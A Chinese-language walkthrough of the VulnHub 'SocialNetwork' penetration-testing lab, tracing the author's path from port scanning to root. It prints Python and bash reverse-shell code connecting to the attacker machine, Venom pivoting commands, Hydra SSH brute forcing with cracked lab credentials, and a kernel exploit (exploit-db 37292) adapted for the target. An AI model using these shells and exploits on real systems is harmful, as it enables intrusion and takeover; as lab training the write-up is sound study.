VulnHub-SocialNetwork

前言

  这是打靶训练的第四周,前三周打靶视频是免费的。后面是付费课程,心一狠花了400大洋,希望不要花冤枉钱。靶机下载链接,难度中等。

信息搜集

  扫下端口
  
  这个upup是路由器上面的类似端口转发的服务,这明显不对劲,进行详细探测
  
  原来是http,访问网页
  
  看见这个留言框,第一时间就想到了xss,顺便试试吧
  
  结果没啥用,想了想即使有xss对于我也没啥用啊,所以放弃了。使用dirsearch扫扫目录。
  
  只扫到admin,访问看看
  

命令执行

  好像是写代码,然后会调用exec()这函数。再结合前面的nmap扫描结果,是python2.7。所以就是写python的反弹shell代码。这个我熟悉,我最擅长python了。
  kali上使用nc监听4444端口,代码框执行以下代码

import os
os.system('bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"')

  
  执行后,nc并没有获取到反弹shell,然而代码状态是ran the code,当时我就怀疑人生了。换个代码,继续

import socket,subprocess,os 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.127.137",4444)) 
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"])

  这次可以了,我想看看为啥前面那个代码没有反弹shell,再次执行bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"
  
  好家伙bash: not found,再见!!
  whoami得到root结果,执行ls得到下面文件

Dockerfile
main.py
requirements.txt
templates

  玩过docker的人,对Dockerfile绝对不陌生,我怀疑这是在docker里面,使用ls /.dockerenv,和cat /proc/1/cgroup来判断是否工作在docker环境。
  
  只有docker才有.dockerenv文件,而且cgroup文件里面有docker,妥妥的在docker里面了。

横向渗透

  使用ip a查看下网卡信息
  
  172.17.0.2/16是b段,暂时先扫c段看看。使用for i in $(seq 1 5); do ping -c 1 172.17.0.$i; done
  
  得到172.17.0.1-3存活,而靶机是172.17.0.2,所以要扫描其他ip。
  这里要用到Venom代理工具,要将此工具传输到靶机,可以先在kali上启动apache服务service apache2 start,把venom/agent_linux_x64移动到/var/www/html/。这样就能在靶机上使用wget来下载文件了。
  
  回到kali,使用./admin_linux_x64 -lport 8888监听8888端口。然后回到靶机给agent_linux_x64赋予可执行权限,再执行./agent_linux_x64 -rhost 192.168.127.137 -rport 8888。kali上面会得到结点响应,再开启socks5代理
  
  使用proxychains nmap -sT -Pn 172.17.0.1,扫描172.17.0.1的端口
  
  再次详细扫描proxychains nmap -p22,5000 -sV -sT -Pn 172.17.0.1
  
  貌似很熟悉,浏览器挂上代理看看网页
  
  这不就是192.168.127.139:5000的内容吗,一模一样,所以172.17.0.1和192.168.127.139都是同一个主机,只不过一个是内网ip,一个是外网。
  那么继续扫描172.17.0.3的端口
  
  
  熟悉的elasticsearch 1.4.2,老漏洞了,直接梭哈getshell
  
  ls看到了一个passwords文件
  
  在线md5解密后得到

用户名		密码
john	  1337hack
test 	  1234test
admin 	  1111pass
root 	  1234pass
jane 	  1234jane

 172.17.0.1的ssh是开着的,可以使用hydra爆破,将上面内容写入文件后使用hydra
 
 ssh成功登录后,查看内核版本等等信息
 

权限提升

  搜下3.13.0的内核漏洞
  
  复制到当前文件夹cp /usr/share/exploitdb/exploits/linux/local/37292.c .,因为要使用gcc编译,而靶机上面没有安装gcc,所以应该本地编译后再传输到靶机上面去。然而这里有个坑,vi 37292.c
  
  看第143行会再次调用gcc命令,然而靶机没有gcc,所以应该本地先找到ofs-lib.so,免去gcc编译过程。并且可以看到输出文件到/tmp,所以还要将文件拷贝到靶机的/tmp下。最后删除掉143-147行内容,保存文件。
  本地查找ofs-lib.so,find / -name "ofs-lib.so"
  
  拷贝过来后,使用gcc -o exp 37292.c进行编译,编译过程会有warning这个不影响。靶机上使用wget将exp和ofs-lib.so下载下来。最后将这两个文件移动到/tmp目录下,最后见证奇迹。
  
  至此整个靶机渗透结束,给我最大的收获就是,要第一时间去看看别人的exp源码,而不是第一时间去利用!

查看评论 -
评论